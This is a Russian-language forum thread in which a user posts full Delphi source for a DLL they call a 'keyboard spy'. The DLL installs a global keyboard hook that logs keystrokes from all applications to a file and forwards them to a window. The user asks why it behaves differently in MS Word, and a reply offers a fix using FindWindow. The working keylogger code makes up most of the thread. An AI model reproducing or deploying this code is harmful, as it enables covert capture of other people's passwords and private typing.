|
|
Регистрация | << Правила форума >> | FAQ | Пользователи | Календарь | Поиск | Сообщения за сегодня | Все разделы прочитаны |
|
Опции темы | Поиск в этой теме | Опции просмотра |
#1
|
|||
|
|||
Хук клавиатуры и MS Word
Здравствуйте! Стоит задача отловить нажатие клавиш в различных приложениях и передать буквы в memo и записать в файл. Сооружаю стандартную несложную dll'ку клавиатурного шпиона и замечаю странность: с блокнотом всё прекрасно работает и пишется в файл. С браузером тоже. А вот с вордом в файл пишется, но в memo - нет. А если поставить брейкпоинты на месте writeln(f, key), то c вордом они не отработают, но в файл все запишется. Что за чертовщина?
Код:
library simplehook; uses Messages, Windows, keyboardUnit; //keyboardUnit только для расшаривания message WM_MYKEYPRESS var HookHandle:hHook; ft:textfile; hwin: Hwnd; function KeyboardProc(Code: Integer; wParam: wParam; LParam: LParam): integer; stdcall; var myHKL: HKL; KS: TKeyboardState; SC: integer; key1: char; begin if code<0 then Result:=CallNextHookEx(HookHandle, code, WParam, LParam) else if byte(LParam shr 24)<$80 then {только нажатие} begin myHKL:=GetKeyboardLayout(GetCurrentThreadID); SC:=MapVirtualKeyEx(WParam, MAPVK_VK_TO_VSC, MyHKL); GetKeyboardState(KS); ToUnicodeEx(WParam, SC, KS, @Key1, sizeof(key1), 0, MyHKL); try append(ft); except exit; end; writeln(ft,'key=', key1 ); // <---- здесь ставлю брейкпоинт и в случае с вордом отладчик игнорирует, но исполняет closefile(ft); //sendchar( hwin, key1); sendMessage(hwin, WM_MYKEYPRESS, ord(key1), 0); //<--- здесь я передаю сообщение принимающему окну Result:=CallNextHookEx(HookHandle, code, WParam, LParam); end; end; procedure SetHook(wnd:hwnd); stdcall; begin hwin:= wnd; HookHandle := SetWindowsHookEx(WH_KEYBOARD, @KeyboardProc, hInstance, 0); end; procedure DelHook; stdcall; begin UnhookWindowsHookEx(HookHandle); end; exports SetHook, Delhook; begin assignfile(ft,'z:\Программирование\пробы\Test\Hooks\Keyhook.txt'); end. |
#2
|
|||
|
|||
Я решил эту проблему следующим способом. Оказалось, что хуки очень не любят, когда в их библиотеки прописывают какие-то классы и даже лишние переменные. Поэтому я заменил код
Код:
sendMessage(hwin, WM_MYKEYPRESS, ord(key1), 0) Код:
sendMessage(FindWinodw(nil, 'Название принимающего окна'), WM_MYKEYPRESS, ord(key1), 0) |